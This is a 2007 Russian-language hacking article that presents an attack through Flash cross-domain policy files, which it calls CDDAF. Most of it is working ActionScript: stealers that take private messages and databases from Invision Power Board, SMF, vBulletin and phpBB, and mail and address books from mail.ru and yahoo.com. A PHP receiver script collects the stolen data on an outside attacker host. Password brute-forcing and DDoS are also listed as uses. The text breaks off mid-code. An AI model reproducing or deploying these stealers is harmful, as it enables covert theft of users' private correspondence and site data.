Cross-Domain Data Access via Flash [CDDAF] Reference

Cross-Domain Data Access via Flash [CDDAF] Reference

Статья описывает новый тип уязвимостей с использованием Flash. В теоретической части описываются идеи ее реализации, присутствует немного теории о Flash, которая необходима для практической реализации уязвимости.

Author: Cenarius

Email: ooohoow@gmail.com Icq: 100732

Date: 26 July 2007


 

Оглавление

Статья описывает новый тип уязвимостей с использованием Flash. В теоретической части описываются идеи ее реализации, присутствует немного теории о Flash, которая необходима для практической реализации уязвимости.

 

В практической части описываются примеры различного использования уязвимости:

  • Кража приватной информации на примере популярных форумных движков и почтовых сервисов
  • Распределенный перебор паролей на примере icq.com
  •  DDoS

Теория атаки

Введение

Атака осуществляется посредством Flash Player. Для Flash Player действует ряд ограничений (sandbox security model), схожих с ограничениями для Java Applets, которые запрещают доступ к серверу, если его адрес не совпадает с адресом сервера, на котором находится клип. Суть атаки заключается в расширении sandbox (снятии ограничений на доступ к внешним данным) Flash Player для отправления произвольных данных уязвимому данной атаке серверу от лица жертвы. Не маловажно то, что с запросом отправляются и установленные для данного сервера cookies. О том, как расширить Sandbox будет рассказано далее.

В общем случае проведение атаки выглядит следующим образом: жертва заходит на некий сайт и при этом загружает Flash клип, который делает запрос на расширение Sandbox серверу и, если все прошло успешно, начинает посылать запросы данному серверу, обрабатывать ответы, если необходимо пересылать их другому серверу. Данная уязвимость может быть использована для кражи приватной информации пользователей, DDoS, накрутки голосований, счетчиков, распределенного подбора паролей и т. д. Ниже приведена общая схема проведения атаки.

Схема. Принцип действия атаки

scheme.png

Данная уязвимость схожа с CSRF и XSS, при этом имеет преимущества обоих: возможность посылать запросы серверам (не только на 80 порт) и обрабатывать ответ. Поэтому атаку возможно осуществить и при наличии такой защиты от CSRF, как добавление уникального параметра к каждому запросу. Уязвимость не является частным случаем CSRF, т. к. с ее помощью мы не только посылаем запросы сторонним серверам, но и получаем ответ сервера, имеем возможность его обрабатывать. Данную уязвимость я назвал Cross-Domain Data Access via Flash (CDDAF).

 Расширение Sandbox

Для снятия ограничений (расширения Sandbox) необходимо расположить на сервере, к которому необходимо получить доступ, cross-domain policy файл (далее сертификат), являющийся простым XML файлом. Сертификат должен содержать примерно следующее: 

 <?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><allow-access-from domain="www.site.com" /></cross-domain-policy>

Данный policy file разрешает доступ к серверу клипам, загруженным с www.site.com. Чтобы клипы с любых доменов имели доступ к серверу значение атрибута domain должно быть "*".

Чтобы разрешить клипу, полученному по HTTP протоколу, импортировать данные при помощи HTTPS, значение атрибута secure должно быть false (по умолчанию true).

Пример сертификата, разрешающего внешний доступ к страницам по протоколам HTTP и HTTPS: 

 

 <?xml version="1.0"?><cross-domain-policy><allow-access-from domain="*" secure="false" /></cross-domain-policy>


Для сокетов для доступа к портам сервера номером более 1024 (доступ к стандартным портам закрыт, но и это ограничение можно снять), предусмотрен атрибут to-ports, значением которого могут быть конкретный порт, диапазон (например "3000-3010") или "*" (>1024). Для доступа к стандартным портам сертификат должен быть получен с порта с номером, не превышающим 1024. Сертификат, загруженный с порта, номер которого больше 1024, или по HTTP, не может дать допуск на подключение к стандартным портам.

Подробнее: http://www.adobe.com/go/tn_14213

Таким образом, разместив на сайте приведенный выше XML код или клип, мы можем посылать данному сайту произвольные запросы от лица жертвы. Следует отметить, что многие HTTP заголовки средствами Flash изменить нельзя. Ниже приведены данные заголовки (для Flash Player 9):

 

 Accept-Charset, Accept-Encoding, Accept-Ranges, Age, Allow, Allowed, Connection, Content-Length, Content-Location, Content-Range, Date, Delete, ETag, Expect, Get, Host, Keep-Alive, Last-Modified, Location, Max-Forwards, Options, Post, Proxy-Authenticate, Proxy-Authorization, Public, Put, Range, Referer, Retry-After, Server, TE, Trace, Trailer, Transfer-Encoding, Upgrade, URI, User-Agent, Vary, Via, Warning, WWW-Authenticate, x-flash-version

 

Для расширения Sandbox используется метод loadPolicyFile(policyFile:String). При этом имя и расширение файла сертификата не имеют значения, сертификат даже может содержать посторонние данные ("мусор").

 

Для размещения кода сертификата на сайте есть несколько общих способов:

>        Вложения (attachments) - для форумов, почтовых веб сервисов

>        XSS - вставка на уязвимой странице кода сертификата

Примечание. Иногда выгоднее использовать XSS "традиционными" способами, например, если XSS выглядит следующим образом:

http://site.com/dir1/dir2/scr?param=[XSS], то мы сможем получить доступ только к http[s]://site.com/dir1/dir2/* и site.com:1024+

>        Аватары, фото, и т. д.

Примечание. Здесь меня постигло разочарование: иногда ссылка на изображение имеет следующий вид (пример для vBulletin):

http://site.com/vb/image.php?u=1234&dateline=123456789

Видно, что если поместить в изображение код сертификата, мы сможем получить доступ к http://site.com/vb/*, но Flash Player не считывает данные после символа конца строки. Поэтому код сертификата должен находиться перед данным символом. Однако, зачастую существует проверка размеров загружаемой картинки, которая обычно заключается в чтении нескольких начальных байт изображения. Покажу на примере формата GIF.

 

Структура GIF файла

 

gif.gif

 

Как видно, для ширины и высоты изображения зарезервировано по 2 байта с 6-го по 9-ый включительно. Чтобы ни один из зарезервированных байтов не был null-байтом, размеры изображения должны быть 0101h x 0101h или в десятичной системе счисления 257 x 257. Таким образом, мы сможем вставить код сертификата в картинку, минимальный размер которой 257 x 257 (т. е. как аватар такое изображение загрузить в большинстве случаев не удастся). С другими графическими форматами дела обстоят аналогичным образом.

 

>        Возможно, сертификат уже находится на сервере. Например, иногда в корне сайта имеется необходимый нам файл crossdomain.xml (часто со значением атрибута domain *). Пример - icq.com

 

Иногда возможно расположить клип на сервере, к которому необходимо послать запрос. Тогда, если клип расположен не в корневой директории, он сможет работать только со страницами, расположенными в одной директории (или поддиректориях) с ним.

Замечание. В этом случае возможно также выполнение javascript, например, при помощи функции getURL() или метода call() класса ExternalInterface.

В настоящее время уязвимы web email сервисы(yahoo.com, hotmail.com, icqmail.com, mail.ru, pochta.ru, gmail.com), некоторые популярные форумные движки (Invision Power Board, vBulletin, SMF) и др.

Примеры практического применения

Для эксплуатации уязвимости необходимо разместить код сертификата на сервере, получить его адрес. На основании данного адреса определяем, к какой части сайта мы получим доступ. Если все устраивает, создаем Flash клип, который выполнит необходимые нам действия от лица загрузившего.

Далее в статье будут рассмотрены примеры кражи приватной информации (PM, DB; на примере форумов и почтовых сервисов), распределенного перебора паролей, DDoS.

Форумы

Схема проведения CSREF следующая: размещаем на форуме код сертификата (в attachment), даем жертве ссылку на сайт с клипом, который загрузит размещенный нами сертификат, выполнит от лица жертвы некие действия, если необходимо отправит полученные данные.

В общем случае при краже личных сообщений (или писем с email сервиса) загруженный Flash Movie выполняет следующие действия (исключение vBulletin):

  1. Загружает сертификат / расширяет Sandbox
  2.  Загружает страницы со списками сообщений (inbox, sent, etc)
  3. Парсит полученные данные на предмет ссылок на сообщения, добавляет их в общий массив, удаляя повторяющиеся
  4.  Загружает некоторое количество сообщений в память
  5. Отправляет их скрипту-приёмнику
  6.  4 + 5 пока не закончатся ссылки

Код на PHP скрипта-приёмника для всех приведенных далее примеров один:

<?php

 

set_time_limit(0);

error_reporting(E_ALL ^ E_NOTICE);

 

if($_POST['data']) {

if(strlen($_POST['data']) > 3000000) exit;

$date = date('d M Y, H:i:s');

 

$clientInfo = <<<INFO

<table style='background: #800000; font-family: Verdana; font-size: 10; color: #ffffff;' width=100% border=1 cellpadding=2 cellspacing=0>

<tr>

<td colspan=5><center><b>Information about sender</b></center></td>

</tr><tr>

<td><b>Date:</b> {$date}</td>

<td><b>Ip:</b> {$_SERVER['REMOTE_ADDR']}</td>

<td><b>X_Forwarded_For:</b> {$_SERVER['HTTP_X_FORWARDED_FOR']}</td>

<td><b>Client_Ip:</b> {$_SERVER['HTTP_CLIENT_IP']}</td>

<td><b>Forwarded:</b> {$_SERVER['HTTP_FORWARDED']}</td>

</tr><tr>

<td colspan=2><b>Referer:</b> {$_SERVER['HTTP_REFERER']}</td>

<td colspan=3><b>User-Agent:</b> {$_SERVER['HTTP_USER_AGENT']}</td>

</tr>

</table>

 

INFO;

 

$handle = fopen($_SERVER['REMOTE_ADDR'] . '.html', 'a');

fwrite($handle, $clientInfo . stripslashes(urldecode($_POST['data'])) . '<br><br>');

fclose($handle);

}

 

?>

Данный скрипт записывает значение $_POST['data'] и некоторую информацию о клиенте в файл $_SERVER['REMOTE_ADDR'] . '.html'

Файлы, созданные данным скриптом, следует открывать с осторожностью, т. к. жертва может, например, послать HTML код какого-нибудь внешнего элемента, Javascript код и т. д. и получить IP злоумышленника.

Invision Power Board

В панель администратора попасть не удастся, т. к. доступ туда осуществляется по паролю/сессии, сессия админа хранится в cookies (ipb_admin_session_id), однако она не используется. В версиях 2.2, 2.3 кусок кода, отвечающий за аутентификацию, используя ipb_admin_session_id, был закомментирован:

//----------------------------------

// Got a cookie wookey?

// Small security risk currently

// Until we add in the auth key to forms

//----------------------------------

                       

/*

$cookie['admin_session_id'] = $this->ipsclass->my_getcookie('ipb_admin_session_id');

if ( $cookie['admin_session_id'] )

{

            $this->ipsclass->input['adsess'] = $cookie['admin_session_id'];

            $this->session_type              = 'cookie';

}*/

 

По умолчанию, к своему сообщению можно прикреплять файлы определенного размера и расширения. Загруженные файлы хранятся в БД и извлекаются сценарием index.php. При этом:

>        Скрипт index.php, передающий содержание изображения находится в корне форума. Ссылка на загруженный файл имеет примерно следующий вид:

http://site.com/forum/index.php?act=attach&type=post&id=2

>        Прикрепляемый файл может содержать произвольный XML код

Таким образом, имеются все условия для проведения атаки. Мы можем посылать запросы от лица пользователя, загрузившего клип. При этом, как и отмечалось ранее, передаются cookies, установленные для данного сайта.

Ниже приведен код на ActionScript для кражи всех приватных сообщений пользователя, загрузившего Flash клип. Клип получает параметры, используя FlashVars. [AS1/2]

/*

Invision Power Board PM Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals inbox, sent and saved PMs

 

Email: ooohoow@gmail.com | Icq: 100732

*/

 

// Params:

// dataReceiverUrl:String = Url of data receiving script

// policyFileUrl:String = Policy file url (attachment url)

// [optional] messagesUntilDump:Number = Number of PMs per one dump

 

if(_level0.dataReceiverUrl && _level0.policyFileUrl) {

if(!_level0.messagesUntilDump) { var messagesUntilDump:Number = 3; }

import flash.external.ExternalInterface;

var messagesContent:Array = new Array();

var allPmLinks:Array = new Array();

var tmpPmLinks:Object = new Object();

var foldersDone:Number = 0;

// Loading policy file / Expanding 'sandbox'

System.security.loadPolicyFile(_level0.policyFileUrl);

var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/'));

// Array of forum's folders links

var folders:Array = new Array(

'/index.php?CODE=01&act=Msg&VID=in', // Inbox

'/index.php?CODE=01&act=Msg&VID=sent', // Sent

'/index.php?act=Msg&CODE=20'); // Saved

// Getting lists of messages in folders

for(var i in folders) {

serverRequest(

forumUrl + folders[i],

'',

'GET',

onGetMessageList);

}

}

 

 

function onGetMessageList(loadedData:String):Void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

 

// Parsing received data for PM links

// Using external Js Regexp (Flash player < 9 doesn't support Regexp)

var pmLinks:Object = ExternalInterface.call(

'function(data) { return data.match(/(index\\.php\\?act=Msg&CODE=03&VID=[a-z]+&MSID=\\d+)/igm); }',

loadedData);

 

// Deleting similar links

for(var i in pmLinks) {

tmpPmLinks[pmLinks[i]] = null; }

 

foldersDone++;

 

if(foldersDone == folders.length) {

// Concatenation (Object) tmpPmLinks to (Array) allPmLinks

for(var i in tmpPmLinks) {

allPmLinks.push(i); }

sendGetLinkRequsts()

}

}

 

 

function sendGetLinkRequsts():Void {

if(allPmLinks.length) {

if(allPmLinks.length < messagesUntilDump) {

messagesUntilDump = allPmLinks.length; }

 

for(var i:Number = 1; i <= messagesUntilDump; i++) {

// Getting content of message

serverRequest(

forumUrl + '/' + allPmLinks.shift(),

'',

'GET',

onGetMessageContent);

}

}

}

 

 

function onGetMessageContent(loadedData:String):Void {

if(messagesContent.push(loadedData) >= messagesUntilDump) {

// Dumping messages

serverRequest(

_level0.dataReceiverUrl,

'data=' + escape(messagesContent.join('<br>')),

'POST');

 

messagesContent = new Array();

sendGetLinkRequsts()

}

}

 

 

function serverRequest(

requestUrl:String, vars:String, method:String, onDataFunc:Function):Void {

var sender:LoadVars = new LoadVars();

var loader:LoadVars = new LoadVars();

 

sender.decode(vars);

 

loader.onData = onDataFunc;

sender.sendAndLoad(requestUrl, loader, method);

}

 

// EOF

Параметры:

·  policyFileUrl - адрес прикрепленного файла с кодом сертификата

·  dataReceiverUrl - адрес скрипта-приемника. Он должен находиться в одной директории с клипом

·  [optional] messagesUntilDump - число сообщений в одном дампе

 

Требования:

·   Flash Player 8+

·   Javascript

Пример вставки клипа на страницу (все & в параметрах-ссылках лучше заменить на %26)

<OBJECT

id="fl"

classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"

width="0"

height="0"

codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">

<PARAM name="movie" value="ipbPMStealer.swf">

<PARAM name="FlashVars"

value="dataReceiverUrl=http://hsite.com/cDataReceiver.php&policyFileUrl=http://vsite.com/ipb/index.php?act=attach%26type=post%26id=1">

<EMBED

name="fl"

src="ipbPMStealer.swf"

FlashVars="dataReceiverUrl=http://hsite.com/cDataReceiver.php&policyFileUrl=http://vsite.com/ipb/index.php?act=attach%26type=post%26id=1"

width="0"

height="0"

swLiveConnect="true"

pluginspace="http://www.macromedia.com/go/flashplayer/">

</EMBED>

</OBJECT>

Принцип действия данного клипа показан на схеме в начале статьи. В одной директории с данным клипом должен находиться скрипт-приёмник (cDataReceiver.php; код приводился ранее)

 

SMF

При любом действии в панели администратора проверяется значение Referer'a. В последней версии Flash Player значение данного заголовка изменить нельзя: браузер посылает Referer страницы с Flash клипом. Но все же атаку можно осуществить, если жертва использует Mozilla Firefox, т. к. в данном браузере Flash Player не посылает заголовка Referer при GET запросах (в отличие от IE и Opera).

Код для кражи базы данных (работает только в Mozilla Firefox) [AS1/2]

Параметры:

·   policyFileUrl

·   dataReceiverUrl

Требования:

·   Flash Player 7+ 

/*

Simple Machines Forum DB Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals database (works only in Mozilla Firefox)

Email: ooohoow@gmail.com | Icq: 100732

*/

 

// Params:

// dataReceiverUrl:String = Url of data receiving script

// policyFileUrl:String = Policy file url (attachment url)

 

if(_level0.dataReceiverUrl && _level0.policyFileUrl) {

// Loading policy file / Expanding 'sandbox'

System.security.loadPolicyFile(_level0.policyFileUrl);

var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/'));

// Getting session verify

serverRequest(

forumUrl + '/index.php',

'action=admin',

'GET',

onGetSessVerify);

}

 

function onGetSessVerify(loadedData:String):Void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

// Looking for 'sesc' (session verify)

var sessVerify:String = loadedData.substr(loadedData.indexOf('sesc=') + 5, 32);

 

// Dumping DB

serverRequest(

forumUrl + '/index.php',

'data=on&action=dumpdb&sesc=' + sessVerify,

'GET',

onDumpTry);

}

 

 

function onDumpTry(loadedData:String):Void {

// Dumping messages

serverRequest(

_level0.dataReceiverUrl,

'data=' + escape('<pre>' + loadedData + '</pre>'),

'POST');

}

 

 

function serverRequest(

requestUrl:String, vars:String, method:String, onDataFunc:Function):Void {

var sender:LoadVars = new LoadVars();

var loader:LoadVars = new LoadVars();

sender.decode(vars);

 

loader.onData = onDataFunc;

sender.sendAndLoad(requestUrl, loader, method);

}

 

// EOF

Код для кражи всех Inbox/Sent приватных сообщений пользователя [AS1/2]

Параметры:

·   policyFileUrl

·   dataReceiverUrl

·   [optional] messagesUntilDump

Требования:

·   Flash Player 8+

·   Javascript

/*

Simple Machine Forum PM Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals inbox and sent PMs

 

Email: ooohoow@gmail.com | Icq: 100732

*/

 

// Params:

// dataReceiverUrl:String = Url of data receiving script

// policyFileUrl:String = Policy file url (attachment url)

// [optional] messagesUntilDump:Number = Number of PMs per one dump

 

if(_level0.dataReceiverUrl && _level0._level0.policyFileUrl) {

if(!_level0.messagesUntilDump) { var messagesUntilDump:Number = 3; }

 

import flash.external.ExternalInterface;

var messagesContent:Array = new Array();

var allPmLinks:Array = new Array();

var tmpPmLinks:Object = new Object();

var foldersDone:Number = 0;

// Loading policy file / Expanding 'sandbox'

System.security.loadPolicyFile(_level0.policyFileUrl);

var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/'));

// Array of forum's folders links

var folders:Array = new Array(

'/index.php?action=pm;f=inbox;sort=date;start=0',

'/index.php?action=pm;f=outbox;sort=date;start=0');

// Getting lists of messages in some folders (folders)

for(var i in folders) {

serverRequest(

forumUrl + folders[i],

'',

'GET',

onGetMessageList);

}

}

 

 

function onGetMessageList(loadedData:String):Void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

 

// Parsing received data for PM links

// Using external Js Regexp (Flash player < 9 doesn't support Regexp)

var pmLinks:Object = ExternalInterface.call(

'function(data) { return data.match(/(index\\.php\\?action=pm;f=[a-z]+;sort=date;start=\\d+)/igm); }',

loadedData);

 

// Deleting similar links

for(var i in pmLinks) {

tmpPmLinks[pmLinks[i]] = null; }

 

foldersDone++;

onGetMessageContent(loadedData);

 

if(foldersDone == folders.length) {

// Concatenation (Object) tmpPmLinks to (Array) links_array

for(var i in tmpPmLinks) {

allPmLinks.push(i); }

sendGetLinkRequsts();

}

}

 

 

function sendGetLinkRequsts():Void {

if(allPmLinks.length) {

if(allPmLinks.length < messagesUntilDump) {

messagesUntilDump = allPmLinks.length; }

for(var i:Number = 1; i <= messagesUntilDump; i++) {

// Getting content of message

serverRequest(

forumUrl + '/' + allPmLinks.shift(),

'',

'GET',

onGetMessageContent);

}

}

}

 

 

function onGetMessageContent(loadedData:String):Void {

if(messagesContent.push(loadedData) >= messagesUntilDump) {

// Dumping messages

serverRequest(

_level0.dataReceiverUrl,

'data=' + escape(messagesContent.join('<br>')),

'POST');

messagesContent = new Array();

sendGetLinkRequsts();

}

}

 

 

function serverRequest(

requestUrl:String, vars:String, method:String, onDataFunc:Function):Void {

var sender:LoadVars = new LoadVars();

var loader:LoadVars = new LoadVars();

 

sender.decode(vars);

 

loader.onData = onDataFunc;

sender.sendAndLoad(requestUrl, loader, method);

}

 

// EOF

 

vBulletin

В данном форуме проверяется значение Referer'a при POST запросах, поэтому сделать что-либо в админ панели не удастся.

Украсть приватные сообщения в данном форуме очень просто: разработчики предусмотрели возможность скачать все свои PM, этим и воспользуемся.

Код для кражи всех приватных сообщений [AS1/2]

Параметры:

·   policyFileUrl

·   dataReceiverUrl

Требования:

·   Flash Player 7+

/*

vBulletin PM Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals all PMs (as text)

 

Email: ooohoow@gmail.com | Icq: 100732

*/

 

// Params:

// dataReceiverUrl:String = Url of data receiving script

// policyFileUrl:String = Policy file url (attachment url)

 

if(_level0.dataReceiverUrl && _level0.policyFileUrl) {

// Loading policy file / Expanding 'sandbox'

System.security.loadPolicyFile(_level0.policyFileUrl);

var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/'));

var loader:LoadVars = new LoadVars();

loader.onData = function(loadedData:String) {

// Sending received data to dataReceiverUrl

var sender:LoadVars = new LoadVars();

sender.data = '<pre>' + loadedData + '</pre>';

sender.sendAndLoad(_level0.dataReceiverUrl, new LoadVars(), 'POST');

}

// Downloading all PMs

loader.load(forumUrl + '/private.php?do=downloadpm&dowhat=txt');

}

 

// EOF

 

phpBB

Данный форум уязвим при наличии attach (download) мода. Проверка Referer отсутствует, поэтому возможны любые действия. Ниже приведен код для кражи базы данных форума.

Параметры:

·   policyFileUrl

·   dataReceiverUrl

Требования:

·   Flash Player 8+

·   Javascript

/*

phpBB DB Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals database

Email: ooohoow@gmail.com | Icq: 100732

*/

 

// Params:

// dataReceiverUrl:String = Url of data receiving script

// policyFileUrl:String = Policy file url (attachment url)

 

if(_level0.dataReceiverUrl && _level0.policyFileUrl) {

import flash.external.ExternalInterface;

System.security.loadPolicyFile(_level0.policyFileUrl);

var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/'));

var adminPath:String;

var sid:String;

// Getting session verify

serverRequest(

forumUrl + '/index.php',

'',

'GET',

onGetSid);

}

 

 

function onGetSid(loadedData:String):Void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

// Parsing received data for sid and admin panel path

// Using external Js Regexp (Flash player < 9 doesn't support Regexp)

var matches:Object = ExternalInterface.call(

'function(data) { return data.match(/href=\\"([a-z0-9_-]+)\\/index\\.php\\?sid=([a-z0-9]+)\\">Go to Administration Panel/i); }',

loadedData);

adminPath = matches[1];

sid = matches[2];

 

if(!sid) {

// No sid found

} else {

// Dumping DB

serverRequest(

forumUrl + '/' + adminPath + '/admin_db_utilities.php',

'perform=backup&additional_tables=&backup_type=full&drop=1&backupstart=1&gzipcompress=0&startdownload=1&sid=' + sid,

'GET',

onBackupTry);

}

}

 

 

function onBackupTry(loadedData):Void {

// Sending received loadedData to _level0.dataReceiverUrl

serverRequest(

_level0.dataReceiverUrl,

'data=' + escape('<a href="' + forumUrl + '/' + adminPath + '/index.php?sid='

+ sid + '"><h4>Try to enter in admin panel</h4></a>'

+ '<pre>' + loadedData + '</pre>'),

'POST');

}

 

 

function serverRequest(

requestUrl:String, vars:String, method:String, onDataFunc:Function):Void {

var sender:LoadVars = new LoadVars();

var loader:LoadVars = new LoadVars();

sender.decode(vars);

 

loader.onData = onDataFunc;

sender.sendAndLoad(requestUrl, loader, method);

}

 

// EOF

 

Почтовые сервисы

Для почтовых сервисов схема проведения CSREF немного сложнее, чем для форумов, выглядит она следующим образом: жертве посылается письмо с прикрепленным файлом, содержащим код сертификата (либо отправляется HTML письмо, содержащее данный код, если он не фильтруется) и ссылка на сайт. Когда жертва переходит по ссылке, передается Referer, содержащий адрес письма. Flash клип, исходя из этого адреса, формирует адрес прикрепленного к письму файла. Жертва загружает клип, который на основе переданного адреса (иногда можно передавать адрес самого письма, содержащего код сертификата) расширяет Sandbox и ворует все письма. Для получения referrer от жертвы можно использовать не только ссылку.

Схема. CDDAF на почтовых сервисах

email.png

mail.ru

Код для кражи адресной книги и всех сообщений из директорий Inbox, Sent, Draft, Trash [AS1/2]

Параметры:

·   dataReceiverUrl

·   [optional] messagesUntilDump

Требования:

·   Flash Player 8+

·   Javascript

 

/*

mail.ru Mail Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals all messages in next folders:

inbox, sent, draft, trash + addressbook

 

Email: ooohoow@gmail.com | Icq: 100732

*/

 

// Params:

// dataReceiverUrl:String = Url of data receiving script

// [optional] messagesUntilDump:Number = Number of PMs per one dump

 

if(_level0.dataReceiverUrl) {

if(!_level0.messagesUntilDump) { var messagesUntilDump:Number = 3; }

import flash.external.ExternalInterface;

System.useCodepage = true;

var messagesContent:Array = new Array();

var allMessageLinks:Array = new Array('addressbook');

var tmpMessageLinks:Object = new Object();

var foldersDone:Number = 0;

// Getting referrer

var referrer:String = ExternalInterface.call(

"function() { return document.referrer; }").toString();

var messageId:String = ExternalInterface.call(

'function(data) { return data.match(/readmsg\\?id=(\\d+)/i)[1]; }',

referrer).toString();

var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));

// Loading policy file / Expanding 'sandbox'

System.security.loadPolicyFile(baseUrl + '/readmsg?id=' + messageId + ';0;1&mode=attachment');

var folders:Array = new Array(

'/msglist?folder=0', // Inbox

'/msglist?folder=500000', // Sent

'/msglist?folder=500001', // Draft

'/msglist?folder=500002'); // Trash

// Getting lists of messages in folders

for(var i in folders) {

serverRequest(

baseUrl + folders[i],

onGetMessageList,

'GET');

}

}

 

 

function onGetMessageList(loadedData:String):Void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

 

// Parsing received data for links of messages

// Using external Js Regexp (Flash player < 9 doesn't support Regexp)

var links:Object = ExternalInterface.call(

'function(data) { return data.match(/(readmsg\\?id=\\d+)/ig); }',

loadedData.split("\\\"").join(''));

 

// Deleting similar links

for(var i in links) {

tmpMessageLinks[links[i]] = null; }

 

foldersDone++;

 

if(foldersDone == folders.length) {

// Concatenation (Object) tmpMessageLinks to (Array) links_array

for(var i in tmpMessageLinks) {

allMessageLinks.push(i); }

sendGetLinkRequsts();

}

}

 

 

function sendGetLinkRequsts():Void {

if(allMessageLinks.length) {

if(allMessageLinks.length < messagesUntilDump) {

messagesUntilDump = allMessageLinks.length; }

for(var i:Number = 1; i <= messagesUntilDump; i++) {

// Getting content of message

serverRequest(

baseUrl + '/' + allMessageLinks.shift(),

onGetMessageContent,

'GET');

}

}

}

 

 

function onGetMessageContent(loadedData:String):Void {

if(messagesContent.push(loadedData) >= messagesUntilDump) {

// Dumping messages

serverRequest(

_level0.dataReceiverUrl,

function() {},

'POST',

'data=' + escape(messagesContent.join('<br>')));

 

messagesContent = new Array();

sendGetLinkRequsts()

}

}

 

 

function serverRequest(

requestUrl:String, onDataFunc:Function, method:String, vars:String):Void {

var sender:LoadVars = new LoadVars();

var loader:LoadVars = new LoadVars();

 

if(vars) { sender.decode(vars); }

 

loader.onData = onDataFunc;

sender.sendAndLoad(requestUrl, loader, method);

}

 

// EOF

 

[AS3]

Параметры:

·   dataReceiverUrl

·   [optional] messagesUntilDump

Требования:

·   Flash Player 9+

·   Javascript (от данного требования можно избавиться, если передавать Referer параметром посредством FlashVars)

/*

mail.ru Mail Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals all messages in next folders:

inbox, sent, draft, trash + addressbook

 

Email: ooohoow@gmail.com | Icq: 100732

*/

 

// Params:

// dataReceiverUrl:String = Url of data receiving script

// [optional] messagesUntilDump:Number = Number of PMs per one dump

 

 

var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl;

var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;

 

if(dataReceiverUrl) {

import flash.external.ExternalInterface;

if(!messagesUntilDump) { messagesUntilDump = 3; }

var messagesContent:Array = new Array();

var allLinks:Array = new Array('addressbook');

var allLinksObject:Object = new Object();

var foldersDone:Number = 0;

// Getting referrer

var referrer:String = ExternalInterface.call(

"function() { return document.referrer; }").toString();

 

var messageId:String = referrer.match(/readmsg\?id=(\d+)/i)[1];

var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));

// Loading policy file / Expanding 'sandbox'

flash.system.Security.loadPolicyFile(baseUrl + '/readmsg?id=' + messageId + ';0;1&mode=attachment');

var folders:Array = new Array(

// Folders

'/msglist?folder=0', // Inbox

'/msglist?folder=500000', // Sent

'/msglist?folder=500001', // Draft

'/msglist?folder=500002'); // Trash

// Getting lists of messages in some folders (folders)

var loader:LoadUrl = new LoadUrl(null, onGetMessageList);

for each (var folder in folders) {

loader.setRequestUrl(baseUrl + folder);

loader.loadUrl();

}

}

 

function onGetMessageList(loadedData:String):void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

 

// Parsing received data for links of messages

var currentLinks:Array = loadedData.match(/(readmsg\?id=\d+)/ig);

 

// Deleting similar links

for each (var link:String in currentLinks) {

allLinksObject[link] = null; }

 

foldersDone++;

 

if(foldersDone == folders.length) {

for(var key:String in allLinksObject) {

allLinks.push(key); }

 

sendGetLinkRequsts();

}

}

 

 

function sendGetLinkRequsts():void {

if(allLinks.length) {

if(allLinks.length < messagesUntilDump) {

messagesUntilDump = allLinks.length; }

var loader:LoadUrl = new LoadUrl(null, onGetMessageContent);

for(var i:Number = 1; i <= messagesUntilDump; i++) {

// Getting content of message

loader.setRequestUrl(baseUrl + '/' + allLinks.shift());

loader.loadUrl();

}

}

}

 

 

function onGetMessageContent(loadedData:String):void {

if(messagesContent.push(loadedData) >= messagesUntilDump) {

// Dumping messages

var loader:LoadUrl = new LoadUrl(

dataReceiverUrl,

function() {},

'POST',

'data=' + escape(messagesContent.join('<br>')));

loader.loadUrl();

messagesContent = new Array();

sendGetLinkRequsts();

}

}

 

// EOF

 

yahoo.com

Код для кражи всех сообщений из директорий Inbox, Sent, Draft, Bulk, Trash [AS1/2]

 

Параметры:

·   dataReceiverUrl

·   [optional] messagesUntilDump

Требования:

·   Flash Player 8+

·   Javascript

 

/*

yahoo.com Mail Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals all messages in next folders:

inbox, draft, sent, bulk, trash

 

Email: ooohoow@gmail.com | Icq: 100732

*/

 

// Params:

// dataReceiverUrl:String = Url of data receiving script

// [optional] messagesUntilDump:Number = Number of PMs per one dump

 

if(_level0.dataReceiverUrl) {

if(!_level0.messagesUntilDump) { var messagesUntilDump:Number = 3; }

import flash.external.ExternalInterface;

System.useCodepage = true;

var messagesContent:Array = new Array();

var allMessageLinks:Array = new Array();

var tmpMessageLinks:Object = new Object();

var foldersDone:Number = 0;

// Getting referrer

var referrer:String = ExternalInterface.call(

"function() { return document.referrer; }").toString();

 

var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));

// Loading policy file / Expanding 'sandbox'

System.security.loadPolicyFile(referrer + '&bodyPart=2');

var folders:Array = new Array(

'/ShowFolder?rb=Inbox&', // Inbox

'/ShowFolder?rb=Draft&', // Draft

'/ShowFolder?rb=Sent&', // Sent

'/ShowFolder?rb=@B@Bulk&', // Bulk

'/ShowFolder?rb=Trash&'); // Trash

// Getting lists of messages in folders

for(var i in folders) {

